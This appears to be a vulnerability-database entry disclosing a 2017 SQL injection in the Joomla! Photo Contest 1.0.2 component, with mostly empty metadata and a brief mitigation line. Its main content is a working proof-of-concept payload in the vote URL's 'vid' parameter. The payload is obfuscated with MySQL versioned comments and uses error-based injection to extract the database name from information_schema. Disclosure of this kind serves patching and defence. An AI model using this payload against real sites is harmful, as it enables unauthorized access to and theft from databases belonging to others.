vendor:
Photo Contest
by:
Ihsan Sencan
N/A
CVSS
N/A
SQL Injection
89
CWE
Product Name: Photo Contest
Affected Version From: 1.0.2
Affected Version To: 1.0.2
Patch Exists: N/A
Related CWE: N/A
CPE: a:keenitsolution:photo_contest:1.0.2
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: WiN7_x64/KaLiLinuX_x64
2017
Joomla! Component Photo Contest 1.0.2- SQL Injection
The vulnerability allows an attacker to inject sql commands.... Proof of Concept: http://localhost/[PATH]/photo-contest/photocontest/vote?controller=photocontest&vid=[SQL] 1'aND+(/*!22200sEleCT*/+1+/*!22200FrOM*/+(/*!22200sEleCT*/+cOUNT(*),/*!22200CoNCAt*/((/*!22200sEleCT*/(/*!22200sEleCT*/+/*!22200CoNCAt*/(cAst(dATABASE()+As+char),0x7e,0x496873616E53656e63616e))+/*!22200FrOM*/+infOrMation_schEma.tables+where+table_schema=dATABASE()+limit+0,1),floor(raND(0)*2))x+/*!22200FrOM*/+infOrMation_schEma.tABLES+/*!22200gROUP*/+bY+x)a)+aND+''='
Mitigation:
Input validation and sanitization, use of prepared statements, and other techniques to prevent SQL injection attacks.